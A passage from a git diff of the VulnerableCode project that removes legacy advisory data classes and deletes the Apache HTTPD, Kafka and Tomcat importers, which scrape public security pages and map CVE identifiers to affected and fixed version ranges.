reference_type: str = "" - url: str = "" - severities: List[VulnerabilitySeverity] = dataclasses.field(default_factory=list) - - def __post_init__(self): - if not self.url: - raise TypeError("Reference must have a url") - if self.reference_id and not isinstance(self.reference_id, str): - self.reference_id = str(self.reference_id) - - def __lt__(self, other): - if not isinstance(other, Reference): - return NotImplemented - return self._cmp_key() < other._cmp_key() - - # TODO: Add cache - def _cmp_key(self): - return (self.reference_id, self.reference_type, self.url, tuple(self.severities)) - - def to_dict(self): - """Return a normalized dictionary representation""" - return { - "reference_id": self.reference_id, - "reference_type": self.reference_type, - "url": self.url, - "severities": [severity.to_dict() for severity in sorted(self.severities)], - } - - @classmethod - def from_dict(cls, ref: dict): - return cls( - reference_id=str(ref["reference_id"]), - reference_type=ref.get("reference_type") or "", - url=ref["url"], - severities=[ - VulnerabilitySeverity.from_dict(severity) for severity in ref["severities"] - ], - ) - - @classmethod - def from_url(cls, url): - reference_id = get_reference_id(url) - if "GHSA-" in reference_id.upper(): - return cls(reference_id=reference_id, url=url) - if is_cve(reference_id): - return cls(url=url, reference_id=reference_id.upper()) - return cls(url=url) - - @dataclasses.dataclass(eq=True) @functools.total_ordering class ReferenceV2: @@ -313,138 +245,6 @@ class NoAffectedPackages(Exception): """ -@functools.total_ordering -@dataclasses.dataclass(eq=True) -class AffectedPackage: - """ - Relate a Package URL with a range of affected versions and a fixed version. - The Package URL must *not* have a version. - AffectedPackage must contain either ``affected_version_range`` or ``fixed_version``. - """ - - package: PackageURL - affected_version_range: Optional[VersionRange] = None - fixed_version: Optional[Version] = None - - def __post_init__(self): - if self.package.version: - raise ValueError(f"Affected Package URL {self.package!r} cannot have a version.") - - if not (self.affected_version_range or self.fixed_version): - raise ValueError( - f"Affected Package {self.package!r} should have either a fixed version or an " - "affected version range." - ) - - def get_fixed_purl(self): - """ - Return a Package URL corresponding to object's fixed_version - """ - if not self.fixed_version: - raise ValueError(f"Affected Package {self.package!r} does not have a fixed version") - return update_purl_version(purl=self.package, version=str(self.fixed_version)) - - def __lt__(self, other): - if not isinstance(other, AffectedPackage): - return NotImplemented - return self._cmp_key() < other._cmp_key() - - # TODO: Add cache - def _cmp_key(self): - return ( - str(self.package), - str(self.affected_version_range or ""), - str(self.fixed_version or ""), - ) - - @classmethod - def merge( - cls, affected_packages: Iterable - ) -> Tuple[PackageURL, List[VersionRange], List[Version]]: - """ - Return a tuple with all attributes of AffectedPackage as a set - for all values in the given iterable of AffectedPackage - - This is useful where an iterable of AffectedPackage needs to be - converted into one tuple of structure similar to AffectedPackage - but with multiple fixed_versions, ie - package: PackageURL - affected_version_range: set(VersionRange) - fixed_versions: set(Version) - """ - affected_packages = list(affected_packages) - if not affected_packages: - raise NoAffectedPackages("No affected packages found") - affected_version_ranges = list() - fixed_versions = list() - purls = set() - for pkg in affected_packages: - if pkg.affected_version_range: - if pkg.affected_version_range not in affected_version_ranges: - affected_version_ranges.append(pkg.affected_version_range) - if pkg.fixed_version: - if pkg.fixed_version not in fixed_versions: - fixed_versions.append(pkg.fixed_version) - purls.add(pkg.package) - if len(purls) > 1: - raise UnMergeablePackageError("Cannot merge with different purls", purls) - return purls.pop(), list(affected_version_ranges), sorted(fixed_versions) - - def to_dict(self): - """ - Return a serializable dict that can be converted back using self.from_dict - """ - affected_version_range = None - if self.affected_version_range: - affected_version_range = str(self.affected_version_range) - return { - "package": purl_to_dict(self.package), - "affected_version_range": affected_version_range, - "fixed_version": str(self.fixed_version) if self.fixed_version else None, - } - - @classmethod - def from_dict(cls, affected_pkg: dict): - """ - Return an AffectedPackage object from dict generated by self.to_dict - """ - package = PackageURL(**affected_pkg["package"]) - affected_version_range = None - affected_range = affected_pkg["affected_version_range"] - - # TODO: "None" is a likely bug - if affected_range and affected_range != "None": - try: - affected_version_range = VersionRange.from_string(affected_range) - except: - tb = traceback.format_exc() - logger.error( - f"Cannot create AffectedPackage with invalid or unknown range: {affected_pkg!r} with error: {tb!r}" - ) - return - - fixed_version = affected_pkg["fixed_version"] - if fixed_version: - if affected_version_range: - # TODO: revisit after https://github.com/nexB/univers/issues/10 - fixed_version = affected_version_range.version_class(fixed_version) - elif package.type in RANGE_CLASS_BY_SCHEMES: - vrc = RANGE_CLASS_BY_SCHEMES[package.type] - fixed_version = vrc.version_class(fixed_version) - - if not fixed_version and not affected_version_range: - logger.error( - f"Cannot create AffectedPackage without fixed version or affected range: {affected_pkg!r}" - ) - return - - return cls( - package=package, - affected_version_range=affected_version_range, - fixed_version=fixed_version, - ) - - @functools.total_ordering @dataclasses.dataclass(eq=True) class AffectedPackageV2: @@ -596,56 +396,6 @@ def from_dict(cls, affected_pkg: dict): ) -@dataclasses.dataclass(order=True) -class AdvisoryData: - """ - This data class expresses the contract between data sources and the import runner. - """ - - aliases: List[str] = dataclasses.field(default_factory=list) - summary: Optional[str] = "" - affected_packages: List[AffectedPackage] = dataclasses.field(default_factory=list) - references: List[Reference] = dataclasses.field(default_factory=list) - date_published: Optional[datetime.datetime] = None - weaknesses: List[int] = dataclasses.field(default_factory=list) - url: Optional[str] = None - - def __post_init__(self): - if self.summary: - self.summary = clean_summary(self.summary) - - def to_dict(self): - return { - "aliases": self.aliases, - "summary": self.summary, - "affected_packages": [pkg.to_dict() for pkg in self.affected_packages], - "references": [ref.to_dict() for ref in self.references], - "date_published": self.date_published.isoformat() if self.date_published else None, - "weaknesses": self.weaknesses, - "url": self.url if self.url else "", - } - - @classmethod - def from_dict(cls, advisory_data): - date_published = advisory_data["date_published"] - transformed = { - "aliases": advisory_data["aliases"], - "summary": advisory_data["summary"], - "affected_packages": [ - AffectedPackage.from_dict(pkg) - for pkg in advisory_data["affected_packages"] - if pkg is not None - ], - "references": [Reference.from_dict(ref) for ref in advisory_data["references"]], - "date_published": ( - datetime.datetime.fromisoformat(date_published) if date_published else None - ), - "weaknesses": advisory_data["weaknesses"], - "url": advisory_data.get("url") or None, - } - return cls(**transformed) - - @dataclasses.dataclass(order=True) class AdvisoryDataV2: """ @@ -733,188 +483,3 @@ class InvalidSPDXLicense(Exception): class ForkError(Exception): pass - - -class Importer: - """ - An Importer collects data from various upstreams and returns corresponding AdvisoryData objects - in its advisory_data method. Subclass this class to implement an importer - """ - - spdx_license_expression = "" - license_url = "" - notice = "" - vcs_response: VCSResponse = None - # It needs to be unique and immutable - importer_name = "" - - def __init__(self): - if not self.spdx_license_expression: - raise Exception(f"Cannot run importer {self!r} without a license") - licensing = Licensing() - try: - licensing.parse(self.spdx_license_expression) - except InvalidSPDXLicense as e: - raise ValueError( - f"{self.spdx_license_expression!r} is not a valid SPDX license expression" - ) from e - - @classproperty - def qualified_name(cls): - """ - Fully qualified name prefixed with the module name of the improver used in logging. - """ - return f"{cls.__module__}.{cls.__qualname__}" - - def advisory_data(self) -> Iterable[AdvisoryData]: - """ - Return AdvisoryData objects corresponding to the data being imported - """ - raise NotImplementedError - - def clone(self, repo_url): - """ - Clone the repo at repo_url and return the VCSResponse object - """ - try: - self.vcs_response = fetch_via_vcs(repo_url) - return self.vcs_response - except Exception as e: - msg = f"Failed to fetch {repo_url} via vcs: {e}" - logger.error(msg) - raise ForkError(msg) from e - - -# TODO: Needs rewrite -class OvalImporter(Importer): - """ - All data sources which collect data from OVAL files must inherit from this - `OvalDataSource` class. Subclasses must implement the methods `_fetch` and `set_api`. - """ - - data_url: str = "" - importer_name = "Oval Importer" - - @staticmethod - def create_purl(pkg_name: str, pkg_data: Mapping) -> PackageURL: - """ - Helper method for creating different purls for subclasses without them reimplementing - get_data_from_xml_doc method - Note: pkg_data must include 'type' of package - """ - return PackageURL(name=pkg_name, **pkg_data) - - @staticmethod - def _collect_pkgs(parsed_oval_data: Mapping) -> Set: - """ - Helper method, used for loading the API. It expects data from - OvalParser.get_data(). - """ - all_pkgs = set() - for definition_data in parsed_oval_data: - for test_data in definition_data["test_data"]: - for package in test_data["package_list"]: - all_pkgs.add(package) - - return all_pkgs - - def _fetch(self) -> Tuple[Mapping, Iterable[ET.ElementTree]]: - """ - Return a two-tuple of ({mapping of Package URL data}, it's ET.ElementTree) - Subclasses must implement this method. - - Note: Package URL data MUST INCLUDE a Package URL "type" key so - implement _fetch() accordingly. - For example:: - - {"type":"deb","qualifiers":{"distro":"buster"} } - """ - # TODO: enforce that we receive the proper data here - raise NotImplementedError - - def advisory_data(self) -> List[AdvisoryData]: - for metadata, oval_file in self._fetch(): - try: - oval_data = self.get_data_from_xml_doc(oval_file, metadata) - yield from oval_data - except Exception: - logger.error( - f"Failed to get updated_advisories: {oval_file!r} " - f"with {metadata!r}:\n" + traceback.format_exc() - ) - continue - - def get_data_from_xml_doc( - self, xml_doc: ET.ElementTree, pkg_metadata={} - ) -> Iterable[AdvisoryData]: - """ - The orchestration method of the OvalDataSource. This method breaks an - OVAL xml ElementTree into a list of `Advisory`. - - Note: pkg_metadata is a mapping of Package URL data that MUST INCLUDE - "type" key. - - Example value of pkg_metadata: - {"type":"deb","qualifiers":{"distro":"buster"} } - """ - oval_parsed_data = OvalParser(self.translations, xml_doc) - raw_data = oval_parsed_data.get_data() - oval_doc = oval_parsed_data.oval_document - timestamp = oval_doc.getGenerator().getTimestamp() - - # convert definition_data to Advisory objects - for definition_data in raw_data: - # These fields are definition level, i.e common for all elements - # connected/linked to an OvalDefinition - - # NOTE: This is where we loop through the list of CVEs/aliases. - vuln_id_list = definition_data["vuln_id"] - - for vuln_id_item in vuln_id_list: - vuln_id = vuln_id_item - description = definition_data["description"] - - severities = [] - severity = definition_data.get("severity") - if severity: - severities.append( - VulnerabilitySeverity(system=severity_systems.GENERIC, value=severity) - ) - references = [ - Reference(url=url, severities=severities) - for url in definition_data["reference_urls"] - ] - affected_packages = [] - - for test_data in definition_data["test_data"]: - for package_name in test_data["package_list"]: - affected_version_range = test_data["version_ranges"] - vrc = RANGE_CLASS_BY_SCHEMES[pkg_metadata["type"]] - if affected_version_range: - try: - affected_version_range = vrc.from_native(affected_version_range) - except Exception as e: - logger.error( - f"Failed to parse version range {affected_version_range!r} " - f"for package {package_name!r}:\n{e}" - ) - continue - if package_name: - affected_packages.append( - AffectedPackage( - package=self.create_purl(package_name, pkg_metadata), - affected_version_range=affected_version_range, - ) - ) - - date_published = dateparser.parse(timestamp) - if not date_published.tzinfo: - date_published = date_published.replace(tzinfo=pytz.UTC) - yield AdvisoryData( - aliases=[vuln_id], - summary=description, - affected_packages=sorted(affected_packages), - references=sorted(references), - date_published=date_published, - url=self.data_url, - ) diff --git a/vulnerabilities/importers/apache_httpd.py b/vulnerabilities/importers/apache_httpd.py deleted file mode 100644 index 75099ab8f..000000000 --- a/vulnerabilities/importers/apache_httpd.py +++ /dev/null @@ -1,254 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -import re -import urllib - -import requests -from bs4 import BeautifulSoup -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import ApacheVersionRange -from univers.versions import SemverVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.severity_systems import APACHE_HTTPD -from vulnerabilities.utils import create_weaknesses_list -from vulnerabilities.utils import cwe_regex -from vulnerabilities.utils import get_item - -logger = logging.getLogger(__name__) - - -class ApacheHTTPDImporter(Importer): - - base_url = "https://httpd.apache.org/security/json/" - spdx_license_expression = "Apache-2.0" - license_url = "https://www.apache.org/licenses/LICENSE-2.0" - importer_name = "Apache HTTPD Importer" - - def advisory_data(self): - links = fetch_links(self.base_url) - for link in links: - data = requests.get(link).json() - yield self.to_advisory(data) - - def to_advisory(self, data): - alias = get_item(data, "CVE_data_meta", "ID") - if not alias: - alias = get_item(data, "cveMetadata", "cveId") - descriptions = get_item(data, "description", "description_data") or [] - description = None - for desc in descriptions: - if desc.get("lang") == "eng": - description = desc.get("value") - break - - severities = [] - impacts = data.get("impact") or [] - for impact in impacts: - value = impact.get("other") - if value: - severities.append( - VulnerabilitySeverity( - system=APACHE_HTTPD, - value=value, - scoring_elements="", - ) - ) - break - reference = Reference( - reference_id=alias, - url=urllib.parse.urljoin(self.base_url, f"{alias}.json"), - severities=severities, - ) - - versions_data = [] - for vendor in get_item(data, "affects", "vendor", "vendor_data") or []: - for products in get_item(vendor, "product", "product_data") or []: - for version_data in get_item(products, "version", "version_data") or []: - versions_data.append(version_data) - - fixed_versions = [] - for timeline_object in data.get("timeline") or []: - timeline_value = timeline_object.get("value") - if "release" in timeline_value: - split_timeline_value = timeline_value.split(" ") - if "never" in timeline_value: - continue - if "release" in split_timeline_value[-1]: - fixed_versions.append(split_timeline_value[0]) - if "release" in split_timeline_value[0]: - fixed_versions.append(split_timeline_value[-1]) - - affected_packages = [] - affected_version_range = self.to_version_ranges(versions_data, fixed_versions) - if affected_version_range: - affected_packages.append( - AffectedPackage( - package=PackageURL( - type="apache", - name="httpd", - ), - affected_version_range=affected_version_range, - ) - ) - - weaknesses = get_weaknesses(data) - - return AdvisoryData( - aliases=[alias], - summary=description or "", - affected_packages=affected_packages, - references=[reference], - weaknesses=weaknesses, - url=reference.url, - ) - - def to_version_ranges(self, versions_data, fixed_versions): - constraints = [] - for version_data in versions_data: - version_value = version_data["version_value"] - range_expression = version_data["version_affected"] - if range_expression not in {"<=", ">=", "?=", "!<", "="}: - raise ValueError(f"unknown comparator found! {range_expression}") - comparator_by_range_expression = { - ">=": ">=", - "!<": ">=", - "<=": "<=", - "=": "=", - } - comparator = comparator_by_range_expression.get(range_expression) - if comparator: - constraints.append( - VersionConstraint(comparator=comparator, version=SemverVersion(version_value)) - ) - - for fixed_version in fixed_versions: - # The VersionConstraint method `invert()` inverts the fixed_version's comparator, - # enabling inclusion of multiple fixed versions with the `affected_version_range` values. - constraints.append( - VersionConstraint( - comparator="=", - version=SemverVersion(fixed_version), - ).invert() - ) - - return ApacheVersionRange(constraints=constraints) - - -def fetch_links(url): - links = [] - data = requests.get(url).content - soup = BeautifulSoup(data, features="lxml") - for tag in soup.find_all("a"): - link = tag.get("href") - if not link.endswith("json"): - continue - links.append(urllib.parse.urljoin(url, link)) - return links - - -def get_weaknesses(cve_data): - """ - Extract CWE IDs from CVE data. - - Args: - cve_data (dict): The CVE data in a dictionary format. - - Returns: - List[int]: A list of unique CWE IDs. - - Examples: - >>> mock_cve_data1 = { - ... "containers": { - ... "cna": { - ... "providerMetadata": { - ... "orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09" - ... }, - ... "title": "mod_macro buffer over-read", - ... "problemTypes": [ - ... { - ... "descriptions": [ - ... { - ... "description": "CWE-125 Out-of-bounds Read", - ... "lang": "en", - ... "cweId": "CWE-125", - ... "type": "CWE" - ... } - ... ] - ... } - ... ] - ... } - ... } - ... } - >>> mock_cve_data2 = { - ... "data_type": "CVE", - ... "data_format": "MITRE", - ... "data_version": "4.0", - ... "generator": { - ... "engine": "Vulnogram 0.0.9" - ... }, - ... "CVE_data_meta": { - ... "ID": "CVE-2022-28614", - ... "ASSIGNER": "security@apache.org", - ... "TITLE": "read beyond bounds via ap_rwrite() ", - ... "STATE": "PUBLIC" - ... }, - ... "problemtype": { - ... "problemtype_data": [ - ... { - ... "description": [ - ... { - ... "lang": "eng", - ... "value": "CWE-190 Integer Overflow or Wraparound" - ... } - ... ] - ... }, - ... { - ... "description": [ - ... { - ... "lang": "eng", - ... "value": "CWE-200 Exposure of Sensitive Information to an Unauthorized Actor" - ... } - ... ] - ... } - ... ] - ... } - ... } - - >>> get_weaknesses(mock_cve_data1) - [125] - - >>> get_weaknesses(mock_cve_data2) - [190, 200] - """ - alias = get_item(cve_data, "CVE_data_meta", "ID") - cwe_strings = [] - if alias: - problemtype_data = get_item(cve_data, "problemtype", "problemtype_data") or [] - for problem in problemtype_data: - for desc in problem.get("description", []): - value = desc.get("value", "") - cwe_id_string_list = re.findall(cwe_regex, value) - cwe_strings.extend(cwe_id_string_list) - else: - problemTypes = cve_data.get("containers", {}).get("cna", {}).get("problemTypes", []) - descriptions = problemTypes[0].get("descriptions", []) if len(problemTypes) > 0 else [] - for description in descriptions: - cwe_id_string = description.get("cweId", "") - cwe_strings.append(cwe_id_string) - - weaknesses = create_weaknesses_list(cwe_strings) - return weaknesses diff --git a/vulnerabilities/importers/apache_kafka.py b/vulnerabilities/importers/apache_kafka.py deleted file mode 100644 index 27c244b2a..000000000 --- a/vulnerabilities/importers/apache_kafka.py +++ /dev/null @@ -1,199 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -import logging - -import pytz -import requests -from bs4 import BeautifulSoup -from dateutil.parser import parse -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference - -logger = logging.getLogger(__name__) - -# The entries below with `"action": "omit"` have no useful/reportable fixed or affected version data. -# See https://kafka.apache.org/cve-list -affected_version_range_mapping = { - "CVE-2022-34917": { - "action": "include", - "2.8.0 - 2.8.1, 3.0.0 - 3.0.1, 3.1.0 - 3.1.1, 3.2.0 - 3.2.1": "affected", - "2.8.2, 3.0.2, 3.1.2, 3.2.3": "fixed", - "affected_version_range": "vers:apache/>=2.8.0|<=2.8.1|!=2.8.2|>=3.0.0|<=3.0.1|!=3.0.2|>=3.1.0|<=3.1.1|!=3.1.2|>=3.2.0|<=3.2.1|!=3.2.3", - "Issue announced": "19 Sep 2022", - }, - "CVE-2022-23302": { - "action": "omit", - }, - "CVE-2022-23305": { - "action": "omit", - }, - "CVE-2022-23307": { - "action": "omit", - }, - "CVE-2021-45046": { - "action": "omit", - }, - "CVE-2021-44228": { - "action": "omit", - }, - "CVE-2021-4104": { - "action": "omit", - }, - "CVE-2021-38153": { - "action": "include", - "2.0.0, 2.0.1, 2.1.0, 2.1.1, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.6.0, 2.6.1, 2.6.2, 2.7.0, 2.7.1, 2.8.0.": "affected", - "2.6.3, 2.7.2, 2.8.1, 3.0.0 and later": "fixed", - "affected_version_range": "vers:apache/2.0.0|2.0.1|2.1.0|2.1.1|2.2.0|2.2.1|2.2.2|2.3.0|2.3.1|2.4.0|2.4.1|2.5.0|2.5.1|2.6.0|2.6.1|2.6.2|!=2.6.3|2.7.0|2.7.1|!=2.7.2|2.8.0.|!=2.8.1|<3.0.0", - "Issue announced": "21 Sep 2021", - }, - "CVE-2019-12399": { - "action": "include", - "2.0.0, 2.0.1, 2.1.0, 2.1.1, 2.2.0, 2.2.1, 2.3.0": "affected", - "2.2.2, 2.3.1 and later": "fixed", - "affected_version_range": "vers:apache/2.0.0|2.0.1|2.1.0|2.1.1|2.2.0|2.2.1|!=2.2.2|2.3.0|<2.3.1", - "Issue announced": "13 Jan 2020", - }, - "CVE-2018-17196": { - "action": "include", - "0.11.0.0 to 2.1.0": "affected", - "2.1.1 and later": "fixed", - "affected_version_range": "vers:apache/>=0.11.0.0|<2.1.1", - "Issue announced": "10 July 2019", - }, - "CVE-2018-1288": { - "action": "include", - "0.9.0.0 to 0.9.0.1, 0.10.0.0 to 0.10.2.1, 0.11.0.0 to 0.11.0.2, 1.0.0": "affected", - "0.10.2.2, 0.11.0.3, 1.0.1, 1.1.0": "fixed", - "affected_version_range": "vers:apache/>=0.9.0.0|<=0.9.0.1|>=0.10.0.0|<=0.10.2.1|!=0.10.2.2|>=0.11.0.0|<=0.11.0.2|!=0.11.0.3|1.0.0|!=1.0.1|!=1.1.0", - "Issue announced": "26 July 2018", - }, - "CVE-2017-12610": { - "action": "include", - "0.10.0.0 to 0.10.2.1, 0.11.0.0 to 0.11.0.1": "affected", - "0.10.2.2, 0.11.0.2, 1.0.0": "fixed", - "affected_version_range": "vers:apache/>=0.10.0.0|<=0.10.2.1|!=0.10.2.2|>=0.11.0.0|<=0.11.0.1|!=0.11.0.2|!=1.0.0", - "Issue announced": "26 July 2018", - }, -} - - -class ApacheKafkaImporter(Importer): - - GH_PAGE_URL = "https://raw.githubusercontent.com/apache/kafka-site/asf-site/cve-list.html" - ASF_PAGE_URL = "https://kafka.apache.org/cve-list" - spdx_license_expression = "Apache-2.0" - license_url = "https://www.apache.org/licenses/" - importer_name = "Apache Kafka Importer" - - @staticmethod - def fetch_advisory_page(self): - page = requests.get(self.GH_PAGE_URL) - return page.content - - def advisory_data(self): - advisory_page = self.fetch_advisory_page(self) - - parsed_data = self.to_advisory(advisory_page) - return parsed_data - - def to_advisory(self, advisory_page): - advisories = [] - - advisory_page = BeautifulSoup(advisory_page, features="lxml") - cve_section_beginnings = advisory_page.find_all("h2") - for cve_section_beginning in cve_section_beginnings: - # This sometimes includes text that follows the CVE on the same line -- sometimes there is a carriage return, sometimes there is not - # cve_id = cve_section_beginning.text.split("\n")[0] - # This is superior, gets only the cve id and no following text. - cve_id = cve_section_beginning.get("id") - - cve_description_paragraph = cve_section_beginning.find_next_sibling("p") - - description = str(cve_description_paragraph.get_text()) - description = " ".join(description.split()) - - cve_data_table = cve_section_beginning.find_next_sibling("table") - cve_data_table_rows = cve_data_table.find_all("tr") - affected_versions_row = cve_data_table_rows[0] - fixed_versions_row = cve_data_table_rows[1] - - # Remove leading white space after initial comma - affected_versions = affected_versions_row.find_all("td")[1].text - - affected_versions_clean = [v.strip() for v in affected_versions.split(",")] - affected_versions_clean = [v for v in affected_versions if v] - - fixed_versions = fixed_versions_row.find_all("td")[1].text - - fixed_versions_clean = [v.strip() for v in fixed_versions.split(",")] - fixed_versions_clean = [v for v in fixed_versions if v] - - cve_version_mapping = affected_version_range_mapping.get(cve_id) - if not cve_version_mapping: - logger.error(f"Data for {cve_id} not found in mapping. Skipping.") - if cve_version_mapping and cve_version_mapping.get("action") == "include": - check_affected_versions_key = cve_version_mapping.get(affected_versions) or [] - check_fixed_versions_key = cve_version_mapping.get(fixed_versions) or [] - - if not check_affected_versions_key: - logger.error(f"Affected versions for {cve_id} not found in mapping. Skipping.") - if not check_fixed_versions_key: - logger.error(f"Fixed versions for {cve_id} not found in mapping. Skipping.") - - references = [ - Reference( - url=self.ASF_PAGE_URL, - reference_id=cve_id, - ), - Reference( - url=f"{self.ASF_PAGE_URL}#{cve_id}", - reference_id=cve_id, - ), - Reference( - url=f"https://nvd.nist.gov/vuln/detail/{cve_id}", - reference_id=cve_id, - ), - ] - - affected_packages = [] - affected_version_range = cve_version_mapping.get("affected_version_range") - if cve_version_mapping.get("affected_version_range"): - affected_package = AffectedPackage( - package=PackageURL( - name="kafka", - type="apache", - ), - affected_version_range=affected_version_range, - ) - affected_packages.append(affected_package) - - date_published = None - issue_announced = cve_version_mapping.get("Issue announced") - - if issue_announced: - date_published = parse(issue_announced).replace(tzinfo=pytz.UTC) - - advisories.append( - AdvisoryData( - aliases=[cve_id], - summary=description, - affected_packages=affected_packages, - references=references, - date_published=date_published, - url=f"{self.ASF_PAGE_URL}#{cve_id}", - ) - ) - - return advisories diff --git a/vulnerabilities/importers/apache_tomcat.py b/vulnerabilities/importers/apache_tomcat.py deleted file mode 100644 index 080b8c061..000000000 --- a/vulnerabilities/importers/apache_tomcat.py +++ /dev/null @@ -1,527 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import dataclasses -import logging -import urllib -from collections import namedtuple - -import requests -from bs4 import BeautifulSoup -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import ApacheVersionRange -from univers.version_range import MavenVersionRange -from univers.versions import MavenVersion -from univers.versions import SemverVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.severity_systems import APACHE_TOMCAT - -LOGGER = logging.getLogger(__name__) - -corrective_data_mapping = { - ("not released Fixed in Apache Tomcat 9.0.9", "CVE-2018-8014"): { - "fixed_versions": ["9.0.9"], - "affected_versions": ["9.0.0.M1 to 9.0.8"], - }, - ("6 July 2018 Fixed in Apache Tomcat 8.0.53", "CVE-2018-8014"): { - "fixed_versions": ["8.0.53"], - "affected_versions": ["8.0.0.RC1 to 8.0.52"], - }, - ("26 June 2018 Fixed in Apache Tomcat 8.5.32", "CVE-2018-8014"): { - "fixed_versions": ["8.5.32"], - "affected_versions": ["8.5.0 to 8.5.31"], - }, - ("not released Fixed in Apache Tomcat 7.0.89", "CVE-2018-8014"): { - "fixed_versions": ["7.0.89"], - "affected_versions": ["7.0.41 to 7.0.88"], - }, - ("16 May 2018 Fixed in Apache Tomcat 7.0.88", "CVE-2018-1336"): { - "fixed_versions": ["7.0.88"], - "affected_versions": ["7.0.28 to 7.0.86"], - }, - ("released 21 Jan 2010 Fixed in Apache Tomcat 6.0.24", "CVE-2009-2901"): { - "fixed_versions": ["6.0.24"], - "affected_versions": ["6.0.0-6.0.20"], - }, - ("released 20 Apr 2010 Fixed in Apache Tomcat 5.5.29", "CVE-2009-2901"): { - "fixed_versions": ["5.5.29"], - "affected_versions": ["5.5.0-5.5.28"], - }, - ("released 4 Sep 2009 Fixed in Apache Tomcat 5.5.28", "CVE-2009-0580"): { - "fixed_versions": ["5.5.28"], - "affected_versions": ["5.5.0-5.5.27"], - }, - ("not released Fixed in Apache Tomcat 5.5.21", "CVE-2008-4308"): { - "fixed_versions": ["5.5.21"], - "affected_versions": ["5.5.10-5.5.20"], - }, - ("Fixed in Apache Tomcat 5.5.1", "CVE-2008-3271"): { - "fixed_versions": ["5.5.1"], - "affected_versions": ["5.5.0"], - }, - ("Will not be fixed in Apache Tomcat 4.1.x", "CVE-2005-4836"): { - "fixed_versions": [], - "affected_versions": ["4.1.15-4.1.SVN"], - }, - ("Fixed in Apache Tomcat 4.1.40", "CVE-2009-0580"): { - "fixed_versions": ["4.1.40"], - "affected_versions": ["4.1.0-4.1.39"], - }, - ("Fixed in Apache Tomcat 4.1.35", "CVE-2008-4308"): { - "fixed_versions": ["4.1.35"], - "affected_versions": ["4.1.32-4.1.34"], - }, - ("Fixed in Apache Tomcat 4.1.3", "CVE-2002-0935"): { - "fixed_versions": ["4.1.3"], - "affected_versions": ["4.0.0-4.0.2", "4.0.3", "4.0.4-4.0.6", "4.1.0-4.1.2"], - }, - ("Fixed in Apache Tomcat 4.0.0", "CVE-2002-0493"): { - "fixed_versions": ["4.0.0"], - "affected_versions": ["<4.0.0"], - }, - ("Not fixed in Apache Tomcat 3.x", "CVE-2005-0808"): { - "fixed_versions": [], - "affected_versions": ["3.0", "3.1-3.1.1", "3.2-3.2.4", "3.3a-3.3.2"], - }, - ("Not fixed in Apache Tomcat 3.x", "CVE-2007-3382"): { - "fixed_versions": [], - "affected_versions": ["3.3-3.3.2"], - }, - ("Not fixed in Apache Tomcat 3.x", "CVE-2007-3384"): { - "fixed_versions": [], - "affected_versions": ["3.3-3.3.2"], - }, - ("Not fixed in Apache Tomcat 3.x", "CVE-2007-3385"): { - "fixed_versions": [], - "affected_versions": ["3.3-3.3.2"], - }, - ("Fixed in Apache Tomcat 3.2.4", "CVE-2001-1563"): { - "fixed_versions": ["3.2.4"], - "affected_versions": ["3.2", "3.2.1", "3.2.2-3.2.3"], - }, -} - - -class ApacheTomcatImporter(Importer): - - spdx_license_expression = "Apache-2.0" - license_url = "https://www.apache.org/licenses/LICENSE-2.0" - importer_name = "Apache Tomcat Importer" - - def fetch_advisory_pages(self): - """ - Yield the content of each HTML page containing version-related security data. - """ - links = self.fetch_advisory_links("https://tomcat.apache.org/security") - for page_url in links: - yield page_url, requests.get(page_url).content - - def fetch_advisory_links(self, url): - """ - Yield the URLs of each Tomcat version security-related page. - Each page link is in the form of `https://tomcat.apache.org/security-10.html`, - for instance, for v10. - """ - data = requests.get(url).content - soup = BeautifulSoup(data, features="lxml") - for tag in soup.find_all("a"): - link = tag.get("href") - - if link and "security-" in link and any(char.isdigit() for char in link): - yield urllib.parse.urljoin(url, link) - - def advisory_data(self): - """ - Return a list of AdvisoryData objects. - """ - advisories = [] - - for url, advisory_page in self.fetch_advisory_pages(): - advisories.extend(self.extract_advisories_from_page(url, advisory_page)) - - return advisories - - def extract_advisories_from_page(self, url, apache_tomcat_advisory_html): - """ - Yield AdvisoryData objects extracted from the HTML text ``apache_tomcat_advisory_html``. - """ - # This yields groups of advisories organized by Tomcat fixed versions -- 1+ per group. - fixed_version_advisory_groups = extract_tomcat_advisory_data_from_page( - apache_tomcat_advisory_html - ) - - for advisory_group in fixed_version_advisory_groups: - yield from generate_advisory_data_objects(url, advisory_group) - - -@dataclasses.dataclass(order=True) -class TomcatAdvisoryData: - fixed_versions: list - advisory_groups: list - # Use this as the 1st key in `corrective_data_mapping` dictionary. - fixed_version_heading_text: str - - def to_dict(self): - advisory_groups_to_strings = [] - # Convert bs4 para to string. - for group in self.advisory_groups: - advisory_groups_to_strings.append([str(para) for para in group]) - return { - 